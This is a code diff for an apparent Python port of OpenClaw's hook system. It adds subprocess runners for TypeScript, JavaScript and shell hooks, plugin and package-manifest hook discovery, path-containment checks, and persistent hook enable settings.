const data = JSON.parse(raw);
const event = {
type: data.type,
action: data.action,
sessionKey: data.sessionKey,
context: typeof data.context === "object" && data.context ? data.context : {},
messages: Array.isArray(data.messages) ? data.messages : [],
timestamp: data.timestamp,
};
const ext = path.extname(abs).toLowerCase();
let mod;
if (ext === ".cjs") {
const require = createRequire(import.meta.url);
mod = require(abs);
} else {
mod = await import(pathToFileURL(abs).href);
}
const modRec = mod && typeof mod === "object" ? mod : {};
let fn;
if (exportName && exportName !== "default" && typeof modRec[exportName] === "function") {
fn = modRec[exportName];
} else {
fn = modRec.default ?? modRec.handle ?? modRec.handler;
}
if (typeof fn !== "function") {
console.error("oclaw: js_hook_runner: no function export in", abs, "export", exportName);
process.exit(3);
}
const r = fn(event);
if (r && typeof r.then === "function") {
await r;
}
process.stdout.write(JSON.stringify({ context: event.context }));

View file

@ -1,13 +1,31 @@
from __future__ import annotations
import importlib.util
import os
from pathlib import Path
from typing import Any, Dict, List, Optional
from typing import Any, Optional
from .config import should_include_hook_compat
from .hook_types import HookEligibilityContext, HookEntry, ensure_hook_entry
from .internal_hooks import HookHandler, register_hook, unregister_hook
from .policy import resolve_hook_enable_state, resolve_hook_config
from .workspace import HookEntry, load_workspace_hook_entries
from .script_handlers import build_script_hook_handler
from .workspace import load_workspace_hook_entries
_loaded_hook_registrations: list[tuple[str, HookHandler]] = []
def _reset_loaded_internal_hooks() -> None:
while _loaded_hook_registrations:
event_key, handler = _loaded_hook_registrations.pop()
unregister_hook(event_key, handler)
def _is_within_base(handler_path: str, base_dir: str) -> bool:
try:
Path(handler_path).resolve().relative_to(Path(base_dir).resolve())
return True
except Exception:
return False
def _load_module_from_path(module_path: str, unique_key: str) -> Optional[object]:
@ -26,10 +44,43 @@ def _load_module_from_path(module_path: str, unique_key: str) -> Optional[object
return mod
def _resolve_legacy_handlers(config: dict[str, Any]) -> list[dict[str, str]]:
rows = (((config.get("hooks") or {}).get("internal") or {}).get("handlers"))
if not isinstance(rows, list):
return []
out: list[dict[str, str]] = []
for row in rows:
if not isinstance(row, dict):
continue
event = str(row.get("event") or "").strip()
module = str(row.get("module") or "").strip()
export = str(row.get("export") or "default").strip() or "default"
if not event or not module:
continue
out.append({"event": event, "module": module, "export": export})
return out
def _resolve_workspace_module_path(*, workspace_dir: str, raw_module: str) -> Optional[str]:
if not raw_module or raw_module.startswith("/") or raw_module.startswith("\\"):
return None
ws = Path(workspace_dir).resolve()
module_path = (ws / raw_module).resolve()
try:
module_path.relative_to(ws)
except Exception:
return None
if not module_path.exists() or not module_path.is_file():
return None
return str(module_path)
def _resolve_handler(mod: object, export_name: str) -> Optional[HookHandler]:
handler = getattr(mod, export_name, None)
if callable(handler):
return handler # type: ignore[return-value]
normalized = str(export_name or "").strip()
if normalized and normalized != "default":
handler = getattr(mod, normalized, None)
if callable(handler):
return handler # type: ignore[return-value]
# fallback: common names
for candidate in ("handle", "handler", "main"):
h = getattr(mod, candidate, None)
@ -39,29 +90,41 @@ def _resolve_handler(mod: object, export_name: str) -> Optional[HookHandler]:
def load_internal_hooks(
config: Dict[str, Any],
config: dict[str, Any],
workspace_dir: str,
*,
managed_hooks_dir: Optional[str] = None,
bundled_hooks_dir: Optional[str] = None,
eligibility: Optional[HookEligibilityContext] = None,
) -> int:
"""
Discover python hooks and register them into the in-process registry.
Discover hooks and register them into the in-process registry.
Hook file layout:
Handler files (first match wins), see ``workspace._handler_candidates`` for the full list.
- ``.py``: in-process import (``handle`` / ``handler`` / ``main`` or ``metadata.oclaw.export``)
- ``.ts`` / ``.mts`` / ``.cts`` (default): ``tsx`` + ``ts_hook_runner.ts`` (import ``default`` / ``handle`` or ``export``)
- ``.mjs`` / ``.cjs`` (default): ``node`` + ``js_hook_runner.mjs`` (``import`` / ``require`` + same exports)
- ``.sh`` / ``.bash``: subprocess: JSON on stdin, optional JSON on stdout (``context`` merge)
- ``metadata.oclaw.hookMode: "script"`` (or legacy ``nodeScript: true``): run ``.ts`` / ``.mjs`` / ``.cjs`` as
**stdin/stdout scripts** (no import runner) — use ``node`` for JS, ``tsx`` for TS
Hook layout (unchanged):
<hookDir>/HOOK.md (YAML frontmatter with oclaw metadata)
<hookDir>/handler.py (or index.py)
Metadata fields used:
metadata.oclaw.events: ["type", "type:action", ...]
metadata.oclaw.export: handler function name (default: "default" -> we map to "handle")
"""
_reset_loaded_internal_hooks()
# Hook system is on by default; only skip when explicitly disabled.
if (((config.get("hooks") or {}).get("internal") or {}).get("enabled")) is False:
return 0
entries = load_workspace_hook_entries(
workspace_dir,
config=config,
managed_hooks_dir=managed_hooks_dir,
bundled_hooks_dir=bundled_hooks_dir,
extra_dirs=(((config.get("hooks") or {}).get("internal") or {}).get("load") or {}).get("extraDirs"),
@ -69,35 +132,74 @@ def load_internal_hooks(
loaded = 0
for idx, entry in enumerate(entries):
state = resolve_hook_enable_state(entry, config)
if not state.get("enabled"):
if not should_include_hook_compat(entry=entry, config=config, eligibility=eligibility):
continue
entry_obj = ensure_hook_entry(entry)
md = entry.get("metadata") or {}
md = entry_obj.metadata or {}
events = md.get("events") if isinstance(md, dict) else None
if not isinstance(events, list) or not events:
continue
hook = entry.get("hook") or {}
handler_path = hook.get("handlerPath")
handler_path = entry_obj.hook.handlerPath
base_dir = entry_obj.hook.baseDir
if not isinstance(handler_path, str) or not handler_path:
continue
if not isinstance(base_dir, str) or not base_dir.strip():
continue
if not _is_within_base(handler_path, base_dir):
continue
export_name = md.get("export") if isinstance(md, dict) else None
if not isinstance(export_name, str) or not export_name.strip():
export_name = "handle"
export_name = "default"
mod = _load_module_from_path(handler_path, unique_key=str(idx))
if mod is None:
continue
handler = _resolve_handler(mod, export_name)
suffix = Path(handler_path).suffix.lower()
handler: Optional[HookHandler] = None
if suffix in {".py"}:
mod = _load_module_from_path(handler_path, unique_key=str(idx))
if mod is None:
continue
handler = _resolve_handler(mod, export_name)
else:
oclaw_dict: dict[str, Any] = {}
if isinstance(md, dict):
for key in ("hookMode", "nodeScript"):
if key in md:
oclaw_dict[key] = md[key]
handler = build_script_hook_handler(
handler_path=handler_path,
base_dir=base_dir,
suffix=suffix,
export_name=export_name,
oclaw=oclaw_dict,
)
if handler is None:
continue
for event_key in events:
if isinstance(event_key, str) and event_key.strip():
register_hook(event_key.strip(), handler)
ek = event_key.strip()
register_hook(ek, handler)
_loaded_hook_registrations.append((ek, handler))
loaded += 1
# Legacy config handlers (hooks.internal.handlers)
for j, row in enumerate(_resolve_legacy_handlers(config)):
safe_path = _resolve_workspace_module_path(workspace_dir=workspace_dir, raw_module=row["module"])
if not safe_path:
continue
mod = _load_module_from_path(safe_path, unique_key=f"legacy_{j}")
if mod is None:
continue
handler = _resolve_handler(mod, row.get("export") or "default")
if handler is None:
continue
ev = row.get("event") or ""
if not ev:
continue
register_hook(ev, handler)
_loaded_hook_registrations.append((ev, handler))
loaded += 1
return loaded

View file

@ -0,0 +1,39 @@
from __future__ import annotations
from pathlib import Path
from typing import Any
from oclaw.runtime.skills import discover_workspace_skill_manifests
def merge_skill_hook_extra_dirs_into_config(cfg: dict[str, Any]) -> dict[str, Any]:
"""
Append skill package ``<skillDir>/hooks`` directories to ``hooks.internal.load.extraDirs``.
Matches ``initialize_hooks_runtime`` so CLI / status reports see the same hook set as the agent.
"""
resolved_cfg = dict(cfg)
extra_dirs: list[str] = []
try:
for m in discover_workspace_skill_manifests():
d = (Path(str(m.skill_dir or "")) / "hooks").resolve()
if d.exists() and d.is_dir():
extra_dirs.append(str(d))
except Exception:
extra_dirs = []
if not extra_dirs:
return resolved_cfg
hooks_cfg = dict((resolved_cfg.get("hooks") or {})) if isinstance(resolved_cfg.get("hooks"), dict) else {}
internal = dict((hooks_cfg.get("internal") or {})) if isinstance(hooks_cfg.get("internal"), dict) else {}
load = dict((internal.get("load") or {})) if isinstance(internal.get("load"), dict) else {}
prev = load.get("extraDirs")
merged: list[str] = []
if isinstance(prev, list):
merged.extend([str(x) for x in prev if str(x).strip()])
merged.extend([x for x in extra_dirs if x and x not in set(merged)])
load["extraDirs"] = merged
internal["load"] = load
hooks_cfg["internal"] = internal
resolved_cfg["hooks"] = hooks_cfg
return resolved_cfg

View file

@ -4,8 +4,7 @@ from dataclasses import dataclass
from typing import Any, Callable, Dict, List, Literal, Optional, Sequence, Tuple
from .frontmatter import resolve_hook_key
HookSource = Literal["oclaw-bundled", "oclaw-plugin", "oclaw-managed", "oclaw-workspace"]
from .hook_types import HookEntry, HookSource, ensure_entry_dict, ensure_hook_entry
@dataclass(frozen=True, slots=True)
@ -63,22 +62,27 @@ def resolve_hook_config(config: Optional[Dict[str, Any]], hook_key: str) -> Opti
return entry if isinstance(entry, dict) else None
def resolve_hook_enable_state(entry: Dict[str, Any], config: Optional[Dict[str, Any]]) -> Dict[str, Any]:
def resolve_hook_enable_state(entry: HookEntry | Dict[str, Any], config: Optional[Dict[str, Any]]) -> Dict[str, Any]:
"""
Returns { enabled: bool, reason?: str }
"""
hook = entry.get("hook") if isinstance(entry, dict) else None
entry_dict = ensure_entry_dict(entry)
hook = entry_dict.get("hook") if isinstance(entry_dict, dict) else None
name = (hook or {}).get("name") if isinstance(hook, dict) else None
source = (hook or {}).get("source") if isinstance(hook, dict) else None
if not isinstance(name, str) or not isinstance(source, str):
return {"enabled": False, "reason": "invalid hook entry"}
hook_key = resolve_hook_key(name, entry)
hook_key = resolve_hook_key(name, entry_dict)
hook_cfg = resolve_hook_config(config, hook_key)
invocation = entry_dict.get("invocation") if isinstance(entry_dict.get("invocation"), dict) else {}
if source == "oclaw-plugin":
return {"enabled": True}
if invocation.get("enabled") is False:
return {"enabled": False, "reason": "disabled by hook invocation policy"}
if isinstance(hook_cfg, dict) and hook_cfg.get("enabled") is False:
return {"enabled": False, "reason": "disabled in config"}
@ -89,9 +93,11 @@ def resolve_hook_enable_state(entry: Dict[str, Any], config: Optional[Dict[str,
return {"enabled": True}
def _can_override(candidate: Dict[str, Any], existing: Dict[str, Any]) -> bool:
c_source = ((candidate.get("hook") or {}).get("source")) if isinstance(candidate, dict) else None
e_source = ((existing.get("hook") or {}).get("source")) if isinstance(existing, dict) else None
def _can_override(candidate: HookEntry | Dict[str, Any], existing: HookEntry | Dict[str, Any]) -> bool:
c_dict = ensure_entry_dict(candidate)
e_dict = ensure_entry_dict(existing)
c_source = ((c_dict.get("hook") or {}).get("source")) if isinstance(c_dict, dict) else None
e_source = ((e_dict.get("hook") or {}).get("source")) if isinstance(e_dict, dict) else None
if c_source not in HOOK_SOURCE_POLICIES or e_source not in HOOK_SOURCE_POLICIES:
return False
c_pol = get_hook_source_policy(c_source) # type: ignore[arg-type]
@ -100,26 +106,41 @@ def _can_override(candidate: Dict[str, Any], existing: Dict[str, Any]) -> bool:
def resolve_hook_entries(
entries: Sequence[Dict[str, Any]],
entries: Sequence[HookEntry | Dict[str, Any]],
on_collision_ignored: Optional[Callable[[Dict[str, Any]], None]] = None,
) -> List[Dict[str, Any]]:
) -> List[HookEntry]:
ordered = sorted(
list(enumerate(entries)),
key=lambda x: (get_hook_source_policy(x[1]["hook"]["source"]).precedence, x[0]), # type: ignore[index]
key=lambda x: (
get_hook_source_policy(
str((ensure_entry_dict(x[1]).get("hook") or {}).get("source") or "oclaw-managed") # type: ignore[arg-type]
).precedence,
x[0],
),
)
merged: Dict[str, Dict[str, Any]] = {}
merged: Dict[str, HookEntry] = {}
for _, entry in ordered:
name = entry.get("hook", {}).get("name")
name = ensure_entry_dict(entry).get("hook", {}).get("name")
if not isinstance(name, str):
continue
existing = merged.get(name)
if not existing:
merged[name] = entry
merged[name] = ensure_hook_entry(entry)
continue
if _can_override(entry, existing):
merged[name] = entry
merged[name] = ensure_hook_entry(entry)
continue
if on_collision_ignored:
on_collision_ignored({"name": name, "kept": existing, "ignored": entry})
on_collision_ignored(
{"name": name, "kept": ensure_entry_dict(existing), "ignored": ensure_entry_dict(entry)}
)
return list(merged.values())
def resolve_hook_entries_compat(
entries: Sequence[HookEntry | Dict[str, Any]],
on_collision_ignored: Optional[Callable[[Dict[str, Any]], None]] = None,
) -> List[Dict[str, Any]]:
resolved = resolve_hook_entries(entries, on_collision_ignored=on_collision_ignored)
return [ensure_entry_dict(e) for e in resolved]

View file

@ -0,0 +1,247 @@
from __future__ import annotations
import asyncio
import json
import logging
import os
import shutil
from pathlib import Path
from typing import Any, Optional
from .internal_hooks import HookEvent, HookHandler
log = logging.getLogger("oclaw.hooks")
# Max wall-clock for external hook child processes
_HOOK_SUBPROCESS_TIMEOUT_S = 120.0
def _runner_ts_path() -> Path:
return Path(__file__).resolve().parent / "ts_hook_runner.ts"
def _runner_js_path() -> Path:
return Path(__file__).resolve().parent / "js_hook_runner.mjs"
def _is_script_mode(oclaw: dict[str, Any] | None) -> bool:
o = oclaw or {}
if o.get("hookMode") == "script":
return True
if o.get("nodeScript") is True:
return True
return False
def _event_payload(event: HookEvent) -> dict[str, Any]:
return {
"type": event.type,
"action": event.action,
"sessionKey": event.sessionKey,
"context": dict(event.context) if isinstance(event.context, dict) else {},
"messages": list(getattr(event, "messages", []) or []),
"timestamp": event.timestamp.isoformat() if getattr(event, "timestamp", None) else None,
}
def _merge_stdout_into_context(event: HookEvent, raw: str) -> None:
text = (raw or "").strip()
if not text:
return
try:
out = json.loads(text)
except Exception:
log.warning("Hook subprocess stdout is not valid JSON: %r", text[:200])
return
if not isinstance(out, dict):
return
ctx = out.get("context")
if isinstance(ctx, dict) and isinstance(event.context, dict):
event.context.update(ctx)
def _sh_command(script: Path) -> list[str] | None:
p = str(script)
if not script.is_file():
return None
if os.name == "nt":
bash = shutil.which("bash")
if bash:
return [bash, p]
wsl = shutil.which("wsl")
if wsl:
return [wsl, "bash", p]
log.warning("Hook .sh on Windows needs bash in PATH (Git for Windows) or wsl. Skipping %s", p)
return None
try:
if script.stat().st_mode & 0o111 and os.access(p, os.X_OK):
return [p]
except OSError:
pass
sh = shutil.which("sh") or "/bin/sh"
return [sh, p]
def _tsx_invocation() -> str | None:
return shutil.which("tsx") or None
def _ts_command(*, script: Path, export_name: str) -> list[str] | None:
runner = _runner_ts_path()
if not runner.is_file():
log.error("oclaw: missing ts hook runner: %s", runner)
return None
hp = str(script.resolve())
rts = str(runner.resolve())
ex = export_name.strip() or "default"
tx = _tsx_invocation()
if tx:
return [tx, rts, hp, ex]
npx = shutil.which("npx")
if npx:
return [npx, "--yes", "tsx", rts, hp, ex]
log.warning("Hook .ts needs `tsx` or `npx` (for `npx tsx`) on PATH. Skipping %s", hp)
return None
def _ts_script_command(*, script: Path) -> list[str] | None:
"""Run .ts as a free script: stdin JSON / stdout JSON (no import runner)."""
hp = str(script.resolve())
tx = _tsx_invocation()
if tx:
return [tx, hp]
npx = shutil.which("npx")
if npx:
return [npx, "--yes", "tsx", hp]
log.warning("Hook .ts in script mode needs `tsx` or `npx` on PATH. Skipping %s", hp)
return None
def _node_path() -> str | None:
return shutil.which("node") or None
def _js_module_command(*, script: Path, export_name: str) -> list[str] | None:
node = _node_path()
if not node:
log.warning("Hook .mjs / .cjs needs `node` on PATH. Skipping %s", script)
return None
runner = _runner_js_path()
if not runner.is_file():
log.error("oclaw: missing js hook runner: %s", runner)
return None
hp = str(script.resolve())
rjs = str(runner.resolve())
ex = export_name.strip() or "default"
return [node, rjs, hp, ex]
def _js_script_command(*, script: Path) -> list[str] | None:
node = _node_path()
if not node:
return None
return [node, str(script.resolve())]
async def _run_cmd_handler(
*,
cmd: list[str],
event: HookEvent,
base_dir: str,
script: Path,
log_label: str,
) -> None:
data = json.dumps(_event_payload(event), default=str)
env = {**os.environ, "OCLAW_HOOK_DIR": str(Path(base_dir).resolve()), "OCLAW_HOOK_HANDLER": str(script.resolve())}
try:
proc = await asyncio.create_subprocess_exec(
*cmd,
stdin=asyncio.subprocess.PIPE,
stdout=asyncio.subprocess.PIPE,
stderr=asyncio.subprocess.PIPE,
cwd=str(Path(base_dir).resolve()),
env=env,
)
out_b, err_b = await asyncio.wait_for(
proc.communicate(input=data.encode("utf-8")),
timeout=_HOOK_SUBPROCESS_TIMEOUT_S,
)
except asyncio.TimeoutError:
log.error("Hook %s timed out after %ss: %s", log_label, int(_HOOK_SUBPROCESS_TIMEOUT_S), script)
return
except Exception:
log.exception("Hook %s failed to spawn: %s", log_label, script)
return
if proc.returncode != 0:
log.error(
"Hook %s exit %s: %s",
log_label,
proc.returncode,
err_b.decode("utf-8", errors="replace")[:4000],
)
if log.isEnabledFor(logging.DEBUG):
log.debug("Hook %s full stderr: %s", log_label, err_b)
return
out_t = out_b.decode("utf-8", errors="replace")
if not (out_t or "").strip() and err_b:
log.warning(
"Hook %s empty stdout, stderr: %s",
log_label,
err_b.decode("utf-8", errors="replace")[:2000],
)
_merge_stdout_into_context(event, out_t)
def _build_cmd_handler(
cmd: list[str] | None,
*,
base_dir: str,
script: Path,
log_label: str,
) -> Optional[HookHandler]:
if not cmd:
return None
async def _handler(event: HookEvent) -> None:
await _run_cmd_handler(cmd=cmd, event=event, base_dir=base_dir, script=script, log_label=log_label)
return _handler
def build_script_hook_handler(
*,
handler_path: str,
base_dir: str,
suffix: str,
export_name: str,
oclaw: dict[str, Any] | None = None,
) -> Optional[HookHandler]:
p = Path(handler_path)
if not p.is_file():
return None
sfx = (suffix or "").lower()
o = oclaw or {}
script_mode = _is_script_mode(o)
# Shell: always JSON stdin/stdout; never use TS/JS import runners
if sfx in {".sh", ".bash"}:
sc = _sh_command(p)
return _build_cmd_handler(sc, base_dir=base_dir, script=p, log_label="sh")
if script_mode:
if sfx in {".ts", ".mts", ".cts"}:
cmd = _ts_script_command(script=p)
return _build_cmd_handler(cmd, base_dir=base_dir, script=p, log_label="ts:script")
if sfx in {".mjs", ".cjs"}:
cmd = _js_script_command(script=p)
return _build_cmd_handler(cmd, base_dir=base_dir, script=p, log_label="js:script")
# Module / import path (default for ts and js)
if sfx in {".ts", ".mts", ".cts"}:
cmd = _ts_command(script=p, export_name=export_name)
return _build_cmd_handler(cmd, base_dir=base_dir, script=p, log_label="ts:module")
if sfx in {".mjs", ".cjs"}:
cmd = _js_module_command(script=p, export_name=export_name)
return _build_cmd_handler(cmd, base_dir=base_dir, script=p, log_label="js:module")
return None

View file

@ -0,0 +1,45 @@
/**
* Invoked as: npx --yes tsx ts_hook_runner.ts <absolute-handler.ts> [exportName]
* stdin: JSON { type, action, sessionKey, context, messages?, timestamp? }
* stdout: JSON { "context"?: object } merged into the hook event in Python
*/
import { readFileSync } from "node:fs";
import { pathToFileURL } from "node:url";
const handlerPath = process.argv[2];
const exportName = (process.argv[3] || "default").trim();
if (!handlerPath) {
console.error("oclaw: ts_hook_runner: missing handler path");
process.exit(2);
}
const raw = readFileSync(0, "utf-8");
const data = JSON.parse(raw) as Record<string, unknown>;
const event = {
type: data.type,
action: data.action,
sessionKey: data.sessionKey,
context: (typeof data.context === "object" && data.context) ? (data.context as Record<string, unknown>) : {},
messages: Array.isArray(data.messages) ? data.messages : [],
timestamp: data.timestamp,
};
const mod: Record<string, unknown> = (await import(pathToFileURL(handlerPath).href)) as Record<string, unknown>;
let fn: ((ev: unknown) => unknown) | undefined;
if (exportName && exportName !== "default" && mod[exportName] && typeof mod[exportName] === "function") {
fn = mod[exportName] as (ev: unknown) => unknown;
} else {
fn = (mod.default ?? mod.handle ?? mod.handler) as (ev: unknown) => unknown;
}
if (typeof fn !== "function") {
console.error("oclaw: ts_hook_runner: no function export in", handlerPath, "export", exportName);
process.exit(3);
}
const r = fn(event);
if (r && typeof (r as { then?: unknown }).then === "function") {
await (r as Promise<unknown>);
}
process.stdout.write(
JSON.stringify({ context: event.context }, (_k, v) => (typeof v === "bigint" ? v.toString() : v), 0),
);

View file

@ -0,0 +1,81 @@
from __future__ import annotations
import json
import os
from pathlib import Path
from typing import Any
from oclaw.platform.config.paths import PROJECT_ROOT
def resolve_hooks_config_storage_path() -> Path:
"""
Path used for persistent ``hooks.internal.entries`` edits.
Matches ``resolve_runtime_config`` file resolution: ``OCLAW_CONFIG_PATH`` (optional
relative to ``PROJECT_ROOT``), else ``<PROJECT_ROOT>/oclaw/oclaw.json``.
"""
raw = str(os.getenv("OCLAW_CONFIG_PATH") or "").strip()
if raw:
p = Path(raw).expanduser()
if not p.is_absolute():
p = (Path(PROJECT_ROOT) / p).resolve()
return p
return (Path(PROJECT_ROOT) / "oclaw" / "oclaw.json").resolve()
def load_storage_config_document() -> dict[str, Any]:
p = resolve_hooks_config_storage_path()
if not p.is_file():
return {}
try:
raw = p.read_text(encoding="utf-8")
obj = json.loads(raw)
return dict(obj) if isinstance(obj, dict) else {}
except Exception:
return {}
def save_storage_config_document(doc: dict[str, Any]) -> None:
p = resolve_hooks_config_storage_path()
p.parent.mkdir(parents=True, exist_ok=True)
tmp = p.with_suffix(p.suffix + ".tmp")
tmp.write_text(json.dumps(doc, indent=2, ensure_ascii=False) + "\n", encoding="utf-8")
tmp.replace(p)
def apply_hook_entry_enabled(
doc: dict[str, Any],
hook_key: str,
enabled: bool,
*,
ensure_internal_hooks_enabled: bool = False,
) -> None:
"""Mutate *doc* in place (shallow structure for ``hooks.internal`` only)."""
key = str(hook_key or "").strip()
if not key:
raise ValueError("hook_key is empty")
hooks = doc.setdefault("hooks", {})
if not isinstance(hooks, dict):
doc["hooks"] = {}
hooks = doc["hooks"]
internal = hooks.setdefault("internal", {})
if not isinstance(internal, dict):
hooks["internal"] = {}
internal = hooks["internal"]
if ensure_internal_hooks_enabled and enabled:
internal["enabled"] = True
entries = internal.setdefault("entries", {})
if not isinstance(entries, dict):
internal["entries"] = {}
entries = internal["entries"]
row = entries.get(key)
if not isinstance(row, dict):
entries[key] = {}
row = entries[key]
row["enabled"] = bool(enabled)

View file

@ -2,15 +2,13 @@ from __future__ import annotations
import json
import os
from dataclasses import dataclass
from pathlib import Path
from typing import Any, Dict, Iterable, List, Literal, Optional, Sequence, Tuple
from typing import Any, List, Optional, Sequence, Tuple
from .frontmatter import parse_frontmatter, resolve_oclaw_metadata
from .policy import HookSource, resolve_hook_entries
HookEntry = Dict[str, Any]
from .frontmatter import parse_frontmatter
from .hook_manifest_core import parse_hook_manifest
from .hook_types import HookEntry, HookInvocation, HookRef, HookSource
from .policy import resolve_hook_entries
def _read_text(path: Path) -> Optional[str]:
@ -28,7 +26,132 @@ def _safe_is_dir(p: Path) -> bool:
def _handler_candidates() -> Tuple[str, ...]:
return ("handler.py", "index.py")
# One file per hook dir. Order: py → TypeScript (runner) → JS (node runner) → shell.
return (
"handler.py",
"index.py",
"handler.ts",
"index.ts",
"handler.mts",
"index.mts",
"handler.cts",
"index.cts",
"handler.mjs",
"index.mjs",
"handler.cjs",
"index.cjs",
"handler.sh",
"index.sh",
"handler.bash",
"index.bash",
)
def _resolve_contained_dir(base_dir: Path, target_dir: str) -> Optional[Path]:
try:
resolved = (base_dir / target_dir).resolve()
resolved.relative_to(base_dir.resolve())
return resolved
except Exception:
return None
def _parse_package_hook_paths(package_dir: Path) -> List[str]:
"""
Support package.json manifest declarations:
- { "openclaw": { "hooks": [...] } }
- { "oclaw": { "hooks": [...] } }
"""
manifest = package_dir / "package.json"
raw = _read_text(manifest)
if raw is None:
return []
try:
obj = json.loads(raw)
except Exception:
return []
if not isinstance(obj, dict):
return []
out: List[str] = []
for key in ("openclaw", "oclaw"):
row = obj.get(key)
if not isinstance(row, dict):
continue
hooks = row.get("hooks")
if not isinstance(hooks, list):
continue
for it in hooks:
s = str(it or "").strip()
if s:
out.append(s)
if out:
break
return out
def _resolve_plugin_hook_dirs(*, workspace_dir: str, config: Optional[dict[str, Any]]) -> List[tuple[str, str]]:
"""
Lightweight Python parity for OpenClaw plugin hook discovery.
Discover plugin bundles under:
<workspace>/.openclaw/extensions/<plugin-id>/.codex-plugin/plugin.json
and read `hooks` from that manifest (string path or list[str]).
"""
ws = Path(workspace_dir).resolve()
ext_root = ws / ".openclaw" / "extensions"
if not ext_root.exists() or not ext_root.is_dir():
return []
enabled_entries = (
(((config or {}).get("plugins") or {}).get("entries") or {})
if isinstance((((config or {}).get("plugins") or {}).get("entries") or {}), dict)
else {}
)
out: List[tuple[str, str]] = []
seen: set[str] = set()
for plugin_root in ext_root.iterdir():
if not plugin_root.is_dir():
continue
plugin_id = plugin_root.name
state = enabled_entries.get(plugin_id) if isinstance(enabled_entries, dict) else None
if isinstance(state, dict) and state.get("enabled") is False:
continue
manifest_path = plugin_root / ".codex-plugin" / "plugin.json"
raw = _read_text(manifest_path)
if raw is None:
continue
try:
manifest = json.loads(raw)
except Exception:
continue
if not isinstance(manifest, dict):
continue
hooks_value = manifest.get("hooks")
hook_paths: List[str] = []
if isinstance(hooks_value, str):
s = hooks_value.strip()
if s:
hook_paths.append(s)
elif isinstance(hooks_value, list):
for row in hooks_value:
s = str(row or "").strip()
if s:
hook_paths.append(s)
if not hook_paths:
continue
for rel in hook_paths:
resolved = _resolve_contained_dir(plugin_root, rel)
if resolved is None:
continue
key = str(resolved)
if key in seen:
continue
seen.add(key)
out.append((key, plugin_id))
return out
def _load_hook_from_dir(hook_dir: Path, source: HookSource, plugin_id: Optional[str] = None) -> Optional[HookEntry]:
@ -39,12 +162,9 @@ def _load_hook_from_dir(hook_dir: Path, source: HookSource, plugin_id: Optional[
parsed = parse_frontmatter(content)
fm = parsed.frontmatter
name = fm.get("name") or hook_dir.name
if not isinstance(name, str) or not name.strip():
name = hook_dir.name
description = fm.get("description") or ""
if not isinstance(description, str):
description = ""
manifest = parse_hook_manifest(frontmatter=fm, default_name=hook_dir.name)
name = manifest.name
description = manifest.description
handler_path: Optional[Path] = None
for candidate in _handler_candidates():
@ -55,21 +175,20 @@ def _load_hook_from_dir(hook_dir: Path, source: HookSource, plugin_id: Optional[
if handler_path is None:
return None
metadata = resolve_oclaw_metadata(fm) or {}
return {
"hook": {
"name": name,
"description": description,
"source": source,
"pluginId": plugin_id,
"filePath": str(hook_md),
"baseDir": str(hook_dir.resolve()),
"handlerPath": str(handler_path.resolve()),
},
"frontmatter": fm,
"metadata": metadata,
}
return HookEntry(
hook=HookRef(
name=name,
description=description,
source=source,
pluginId=plugin_id,
filePath=str(hook_md),
baseDir=str(hook_dir.resolve()),
handlerPath=str(handler_path.resolve()),
),
frontmatter=dict(fm),
metadata=manifest.metadata.as_dict(),
invocation=HookInvocation(enabled=bool(manifest.invocation_enabled)),
)
def load_hook_entries_from_dir(dir_path: str, source: HookSource, plugin_id: Optional[str] = None) -> List[HookEntry]:
@ -81,6 +200,17 @@ def load_hook_entries_from_dir(dir_path: str, source: HookSource, plugin_id: Opt
for child in base.iterdir():
if not child.is_dir():
continue
package_hook_paths = _parse_package_hook_paths(child)
if package_hook_paths:
for rel in package_hook_paths:
hook_dir = _resolve_contained_dir(child, rel)
if hook_dir is None:
continue
entry = _load_hook_from_dir(hook_dir, source=source, plugin_id=plugin_id)
if entry:
out.append(entry)
continue
entry = _load_hook_from_dir(child, source=source, plugin_id=plugin_id)
if entry:
out.append(entry)
@ -92,6 +222,7 @@ def load_hook_entries_from_dir(dir_path: str, source: HookSource, plugin_id: Opt
def discover_workspace_hook_entries(
workspace_dir: str,
*,
config: Optional[dict[str, Any]] = None,
managed_hooks_dir: Optional[str] = None,
bundled_hooks_dir: Optional[str] = None,
extra_dirs: Optional[Sequence[str]] = None,
@ -118,6 +249,9 @@ def discover_workspace_hook_entries(
if bundled_hooks_dir:
entries.extend(load_hook_entries_from_dir(bundled_hooks_dir, source="oclaw-bundled"))
for plugin_dir, plugin_id in _resolve_plugin_hook_dirs(workspace_dir=workspace_dir, config=config):
entries.extend(load_hook_entries_from_dir(plugin_dir, source="oclaw-plugin", plugin_id=plugin_id))
entries.extend(load_hook_entries_from_dir(str(managed), source="oclaw-managed"))
entries.extend(load_hook_entries_from_dir(str(workspace_hooks), source="oclaw-workspace"))
return entries
@ -126,12 +260,14 @@ def discover_workspace_hook_entries(
def load_workspace_hook_entries(
workspace_dir: str,
*,
config: Optional[dict[str, Any]] = None,
managed_hooks_dir: Optional[str] = None,
bundled_hooks_dir: Optional[str] = None,
extra_dirs: Optional[Sequence[str]] = None,
) -> List[HookEntry]:
discovered = discover_workspace_hook_entries(
workspace_dir,
config=config,
managed_hooks_dir=managed_hooks_dir,
bundled_hooks_dir=bundled_hooks_dir,
extra_dirs=extra_dirs,

View file

@ -2,13 +2,15 @@ from __future__ import annotations
import asyncio
import json
import logging
import os
import sys
from dataclasses import dataclass
from pathlib import Path
from typing import Any
from oclaw.runtime.skills import discover_workspace_skill_manifests
from oclaw.runtime.hooks.hook_types import HookEligibilityContext
from oclaw.runtime.hooks.merge_skill_hook_dirs import merge_skill_hook_extra_dirs_into_config
from oclaw.platform.config.paths import PROJECT_ROOT
from oclaw.platform.config.runtime_paths import runtime_hooks_bundled_root
@ -23,6 +25,36 @@ class _HooksState:
_STATE = _HooksState()
_log_gmail = logging.getLogger("oclaw.hooks.gmail")
class _GmailWatcherLogAdapter:
def info(self, msg: str) -> None:
_log_gmail.info("%s", msg)
def warn(self, msg: str) -> None:
_log_gmail.warning("%s", msg)
def error(self, msg: str) -> None:
_log_gmail.error("%s", msg)
def _maybe_start_gmail_watcher_with_logs(resolved_cfg: dict[str, Any]) -> None:
"""After hooks load: parity hook for OpenClaw gateway post-attach Gmail lifecycle."""
try:
from oclaw.runtime.hooks.gmail_watcher_lifecycle import start_gmail_watcher_with_logs
start_gmail_watcher_with_logs(cfg=resolved_cfg, log=_GmailWatcherLogAdapter())
except Exception:
_log_gmail.exception("gmail watcher lifecycle failed")
def _reset_hooks_runtime_state_for_test() -> None:
_STATE.initialized = False
_STATE.loaded_count = 0
_STATE.last_error = ""
_STATE.hooks_mod = None
_STATE.resolved_config = None
def _ensure_oclaw_path() -> Path:
